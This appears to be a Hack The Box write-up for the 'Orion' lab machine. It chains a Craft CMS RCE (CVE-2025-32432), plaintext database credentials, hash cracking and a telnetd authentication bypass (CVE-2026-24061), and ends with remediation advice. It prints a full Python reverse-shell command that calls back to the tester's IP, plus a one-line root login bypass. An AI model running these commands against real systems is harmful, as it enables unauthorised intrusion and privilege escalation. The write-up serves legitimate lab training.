Orion writeup
Box name: Orion
Difficulty: Very Easy
OS: Linux
Overview: Orion is a very easy Linux machine that features CSRF Validation Bypass and exploration of CraftCMS and Telnetd. The foothold includes achieving remote code execution by exploiting CVE-2025-32432 in a vulnerable version of CraftCMS. Then the default Craft environment variable file exposes the credentials for its MySQL database, which contains a crackable password. The password has been reused and leads to SSH access to the user on the machine. Finally, privilege escalation is achieved by finding and exploiting a vulnerable version of telnetd (CVE-2026-24061), allowing authentication bypass to root.
Link: https://app.hackthebox.com/machines/Orion?tab=play_machine
Machine IP:
Ran rustscan against the machine.
rustscan -a 10.129.244.146 –ulimit 5000 -b 500 — -A -Pn
Two ports are open, SSH and a webserver. Added orion.htb to /etc/hosts. Navigated to the website.
On the page on the footer, we see that this is powered by CraftCMS.
Ran feroxbuster to directory bust and ffuf to fuzz for vhost.
feroxbuster -u http://orion.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
ffuf -u http://orion.htb -H “Host: FUZZ.orion.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302
Right away feroxbuster shows us /admin.
On this page it shows us the exact version, Craft CMS 5.6.16.
Researched the version and this is vulnerable to an RCE, CVE-2025-32432 https://www.exploit-db.com/exploits/52525. Found this exploit https://github.com/c0gnit00/CVE-2025-32432. Read through the code and tested it and it works. The RCE comes from a vulnerability in the image transformation function.
penelope -p 4444
python3 exploit.py -u http://orion.htb -c “python3 -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”10.10.14.212\”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\”/bin/bash\”)’”
And we get a shell as www-data. Started local enumeration and shortly after I saw an .env file in /html/craft.
In clear text there are credentials to the mysql server.
root:SuperSecureCraft123Pass!
mysql -u root -p orion
show databases;
use orion
show tables;
select * from users;
There is a user adam@orion.htb with the hash 2y13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
Copied the hash and tried cracking with hashcat.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
We get adam’s password. Tried sshing in and we can get in and grab user.txt
adam:darkangel
ssh adam@orion.htb
Did local enumeration as adam. We end up finding that telnet is running internally using netstat.
netstat -tulnp
After we check the version we find out that this version is exploitable https://nvd.nist.gov/vuln/detail/cve-2026-24061.
telnet –version
USER=”-f root” telnet -a 127.0.0.1
And we get root and can grab root.txt.
GG
Attack Chain
1 – Reconnaissance
Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added orion.htb to /etc/hosts. Browsed to the site and found the footer disclosed it was powered by Craft CMS. Ran feroxbuster and ffuf for VHOST fuzzing. Feroxbuster immediately found /admin, which disclosed the exact version Craft CMS 5.6.16.
rustscan -a 10.129.244.146 –ulimit 5000 -b 500 — -A -Pn
feroxbuster -u http://orion.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion
2 – Initial Access – Craft CMS RCE – CVE-2025-32432
Researched Craft CMS 5.6.16 and found CVE-2025-32432, an RCE vulnerability in the image transformation function. Found a public exploit, tested it, and confirmed it worked. Set up a listener and used the exploit to execute a Python reverse shell payload. Caught a shell as www-data.
python3 exploit.py -u http://orion.htb -c “python3 -c ‘…’”
3 – Database credential extraction and password cracking
Enumerated the filesystem and found a .env file at /html/craft containing plaintext MySQL root credentials. Connected to the database and dumped the users table, finding a bcrypt hash for adam@orion.htb. Cracked the hash with Hashcat using rockyou.
mysql -u root -p orion
select * from users;
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Credentials recovered: adam:darkangel
4 – SSH access and user flag
Authenticated via SSH as adam and retrieved user.txt.
5 – Privilege Escalation – Telnetd authentication bypass – CVE-2026-24061
Enumerated listening services and found telnetd running internally. Checked the version and identified it as vulnerable to CVE-2026-24061, an authentication bypass vulnerability. Exploited it by passing a crafted USER environment variable value to the local telnet client to authenticate as root without valid credentials. Retrieved root.txt.
USER=”-f root” telnet -a 127.0.0.1
Key Takeaways
- Craft CMS unauthenticated RCE – CVE-2025-32432 (CVSS 10.0 Critical) – The Craft CMS instance was running a version with an unauthenticated remote code execution vulnerability in the image transformation functionality. CMS platforms must be kept fully patched and version information must not be disclosed on any admin login page.
- CMS version disclosed on the admin login page – The exact Craft CMS version was visible on the /admin page without authentication, enabling precise exploit targeting. Version banners and footers must be removed or genericized on all publicly accessible pages including admin interfaces.
- Plaintext database credentials in an environment file – The .env file contained the MySQL root password in plaintext and was readable after gaining a foothold as the web application user. Environment files must have restrictive permissions and database credentials must be managed through a secrets management solution rather than stored in plaintext configuration files.
- Weak password crackable with rockyou – Adam’s bcrypt hash was cracked using the rockyou wordlist. All user account passwords must meet complexity requirements that resist dictionary attacks regardless of the hashing algorithm used.
- Telnetd authentication bypass – CVE-2026-24061 – The internal telnet service was vulnerable to an authentication bypass allowing login as any user including root without valid credentials, by manipulating the USER environment variable. Telnet must never be used for any purpose given its inherent lack of encryption, and this specific vulnerability underscores the risk of running any unpatched legacy authentication service, even when restricted to localhost.
Remediation
[Immediate] Patch Craft CMS to remediate CVE-2025-32432 (CVSS 10.0 Critical)
Update Craft CMS to the latest patched version immediately. Restrict access to the /admin panel to authorized IP ranges and enforce MFA on all admin accounts. Remove the mysql root credentials from the .env file and rotate the database password immediately.
[Immediate] Remove or patch telnetd to remediate CVE-2026-24061
Remove telnetd entirely if it is not operationally required. If a local service is needed for legacy compatibility, replace it with SSH. Patch telnetd to the latest version if removal is not feasible, and restrict it to localhost with no ability for any process to supply crafted environment variables that affect authentication.
[Immediate] Restrict .env file permissions and migrate to a secrets manager
Set the .env file to mode 600 owned by the application service account only. Migrate all credentials from the .env file to a secrets management solution such as HashiCorp Vault or environment-injected secrets from a CI/CD pipeline. Rotate the MySQL root password immediately.
[Immediate] Remove version disclosure from the CMS admin page
Configure Craft CMS to suppress version information from the login page and all public-facing content. Audit all pages and response headers for version or technology stack disclosure.
[Short-term] Enforce strong passwords for all accounts
Adam’s password was cracked with rockyou. Enforce a minimum password length of 14 characters with complexity for all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are found.
[Long-term] Implement a CMS and legacy service hardening baseline
Define a hardening standard for all CMS deployments covering patch cadence, admin panel access restrictions, environment file permissions, and credential storage. Establish a policy requiring removal of all legacy and unencrypted services including telnet. Include CMS platforms and any internally running legacy services in regular vulnerability scans and penetration tests.
Leave a Reply